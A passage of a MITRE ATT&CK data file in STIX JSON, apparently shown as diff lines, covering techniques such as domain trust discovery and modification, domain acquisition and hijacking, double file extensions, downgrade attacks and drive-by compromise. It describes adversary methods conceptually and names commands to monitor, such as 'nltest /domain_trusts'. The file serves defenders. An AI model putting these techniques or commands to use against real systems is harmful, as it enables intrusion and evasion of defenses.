"attack-pattern--e3b168bd-fcd7-439e-9382-2e6c2f63514d", + "description": "Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1590/001", + "external_id": "T1590.001", + "source_name": "mitre-attack" + }, + { + "url": "https://www.whois.net/", + "description": "NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.", + "source_name": "WHOIS" + }, + { + "url": "https://dnsdumpster.com/", + "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.", + "source_name": "DNS Dumpster" + }, + { + "url": "https://www.circl.lu/services/passive-dns/", + "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.", + "source_name": "Circl Passive DNS" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-09-17T18:26:17.858Z", + "name": "Domain Trust Discovery", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution", + "Script: Script Execution" + ], + "x_mitre_version": "1.1", + "created": "2019-02-14T16:15:05.974Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "description": "Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Dave Westgard", + "Elia Florio, Microsoft", + "Mnemonic", + "RedHuntLabs, @redhuntlabs" + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1482", + "external_id": "T1482", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)", + "description": "Microsoft. (2009, October 7). Trust Technologies. Retrieved February 14, 2019.", + "source_name": "Microsoft Trusts" + }, + { + "url": "https://adsecurity.org/?p=1588", + "description": "Metcalf, S. (2015, July 15). It\u2019s All About Trust \u2013 Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved February 14, 2019.", + "source_name": "AdSecurity Forging Trust Tickets" + }, + { + "url": "http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/", + "description": "Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019.", + "source_name": "Harmj0y Domain Trusts" + }, + { + "url": "https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/", + "description": "Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019.", + "source_name": "Microsoft Operation Wilysupply" + }, + { + "url": "https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships", + "description": "Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019.", + "source_name": "Microsoft GetAllTrustRelationships" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Domain Trust Modification", + "x_mitre_data_sources": [ + "Active Directory: Active Directory Object Creation", + "Active Directory: Active Directory Object Modification", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2021-01-11T18:21:20.213Z", + "created": "2020-12-28T21:59:02.181Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "id": "attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee", + "x_mitre_platforms": [ + "Windows", + "Azure AD" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator" + ], + "description": "Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate.", + "x_mitre_contributors": [ + "Blake Strom, Microsoft 365 Defender" + ], + "x_mitre_detection": "Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nMonitor for PowerShell commands such as: Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\", or Update-MSOLFederatedDomain \u2013DomainName: \"Federated Domain Name\" \u2013supportmultipledomain.(Citation: Microsoft - Update or Repair Federated domain)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1484/002", + "external_id": "T1484.002", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed", + "description": "Microsoft. (2018, November 28). What is federation with Azure AD?. Retrieved December 30, 2020.", + "source_name": "Microsoft - Azure AD Federation" + }, + { + "url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml", + "description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.", + "source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods" + }, + { + "url": "https://www.sygnia.co/golden-saml-advisory", + "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.", + "source_name": "Sygnia Golden SAML" + }, + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", + "description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.", + "source_name": "CISA SolarWinds Cloud Detection" + }, + { + "url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365", + "description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.", + "source_name": "Microsoft - Update or Repair Federated domain" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Domains", + "x_mitre_data_sources": [ + "Domain Name: Active DNS", + "Domain Name: Passive DNS", + "Domain Name: Domain Registration" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-16T17:09:26.334Z", + "created": "2020-09-30T17:09:31.878Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", + "description": "Adversaries may purchase domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.\n\nAdversaries can use purchased domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries can also use internationalized domain names (IDNs) to create visually similar lookalike domains for use in operations.(Citation: CISA IDN ST05-016)\n\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)", + "x_mitre_contributors": [ + "Wes Hurd", + "Vinayak Wadhwa, Lucideus", + "Deloitte Threat Library Team" + ], + "x_mitre_detection": "Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1583/001", + "external_id": "T1583.001", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/630.html", + "external_id": "CAPEC-630", + "source_name": "capec" + }, + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-258a", + "description": "CISA. (2020, September 14). Alert (AA20-258A): Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity. Retrieved October 1, 2020.", + "source_name": "CISA MSS Sep 2020" + }, + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28" + }, + { + "url": "https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/", + "description": "Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI' scam. Retrieved March 2, 2017.", + "source_name": "PaypalScam" + }, + { + "url": "https://us-cert.cisa.gov/ncas/tips/ST05-016", + "description": "CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.", + "source_name": "CISA IDN ST05-016" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "source_name": "ThreatConnect Infrastructure Dec 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Domains", + "x_mitre_data_sources": [ + "Domain Name: Active DNS", + "Domain Name: Passive DNS", + "Domain Name: Domain Registration" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-17T15:51:26.715Z", + "created": "2020-10-01T00:51:28.513Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba", + "description": "Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) An adversary may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1584/001", + "external_id": "T1584.001", + "source_name": "mitre-attack" + }, + { + "url": "https://www.icann.org/groups/ssac/documents/sac-007-en", + "description": "ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.", + "source_name": "ICANNDomainNameHijacking" + }, + { + "url": "https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover", + "description": "Microsoft. (2020, September 29). Prevent dangling DNS entries and avoid subdomain takeover. Retrieved October 12, 2020.", + "source_name": "Microsoft Sub Takeover 2020" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-10-14T21:09:59.588Z", + "name": "Double File Extension", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Metadata" + ], + "x_mitre_version": "1.0", + "created": "2021-08-04T20:54:03.066Z", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e", + "description": "Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system\u2019s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) \n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user\u2019s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named Evil.txt.exe may display as Evil.txt to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Monitor for files written to disk that contain two file extensions, particularly when the second is an executable.(Citation: Seqrite DoubleExtension)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1036/007", + "external_id": "T1036.007", + "source_name": "mitre-attack" + }, + { + "url": "https://www.pcmag.com/encyclopedia/term/double-extension", + "description": "PCMag. (n.d.). Encyclopedia: double extension. Retrieved August 4, 2021.", + "source_name": "PCMag DoubleExtension" + }, + { + "url": "https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/", + "description": "Eugene Tkachenko. (2020, May 1). Rule of the Week: Possible Malicious File Double Extension. Retrieved July 27, 2021.", + "source_name": "SOCPrime DoubleExtension" + }, + { + "url": "https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/", + "description": "Seqrite. (n.d.). How to avoid dual attack and vulnerable files with double extension?. Retrieved July 27, 2021.", + "source_name": "Seqrite DoubleExtension" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Downgrade Attack", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Metadata", + "Process: Process Creation" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-15T00:48:06.723Z", + "created": "2021-10-08T14:06:28.212Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--824add00-99a1-4b15-9a2d-6c5683b7b497", + "description": "Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging. For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)\n\nAdversaries may downgrade and use less-secure versions of various features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557).(Citation: Praetorian TLS Downgrade Attack 2014)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Monitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: powershell \u2013v 2). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1562/010", + "external_id": "T1562.010", + "source_name": "mitre-attack" + }, + { + "url": "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/", + "description": "Falcon Complete Team. (2021, May 11). Response When Minutes Matter: Rising Up Against Ransomware. Retrieved October 8, 2021.", + "source_name": "CrowdStrike BGH Ransomware 2021" + }, + { + "url": "https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique", + "description": "Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) \u2013 A Novel Red Teaming Technique. Retrieved October 8, 2021.", + "source_name": "Mandiant BYOL 2018" + }, + { + "url": "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/", + "description": "Praetorian. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved October 8, 2021.", + "source_name": "Praetorian TLS Downgrade Attack 2014" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Downgrade System Image", + "x_mitre_data_sources": [ + "File: File Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-10-22T17:49:02.660Z", + "created": "2020-10-19T19:53:10.576Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "Network" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d", + "description": "Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)\n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.\n\nDowngrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600). Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001). ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Many embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because image downgrade may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1601/002", + "external_id": "T1601.002", + "source_name": "mitre-attack" + }, + { + "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices", + "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.", + "source_name": "Cisco Synful Knock Evolution" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-07-28T01:37:46.704Z", + "name": "Drive-by Compromise", + "x_mitre_data_sources": [ + "File: File Creation", + "Process: Process Creation", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content", + "Application Log: Application Log Content" + ], + "x_mitre_version": "1.3", + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "SaaS" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "description": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple ways of delivering exploit code to a browser exist, including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nAdversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", + "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)" + ], + "x_mitre_detection": "Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\n\nNetwork intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\n\nDetecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1189", + "external_id": "T1189", + "source_name": "mitre-attack" + }, + { + "source_name": "Shadowserver Strategic Web Compromise", + "description": "Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic Web Compromises \u2013 Trusted Websites Serving Dangerous Results. Retrieved March 13, 2018.", + "url": "http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/" + }, + { + "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/", + "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.", + "source_name": "Volexity OceanLotus Nov 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Drive-by Target", + "x_mitre_data_sources": [ + "Internet Scan: Response Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-17T16:27:38.793Z", + "created": "2021-03-17T20:33:20.127Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9", + "description": "Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).\n\nAdversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including inserting malicious script into web pages or other user controllable web content such as forum posts. Adversaries may also craft malicious web advertisements and 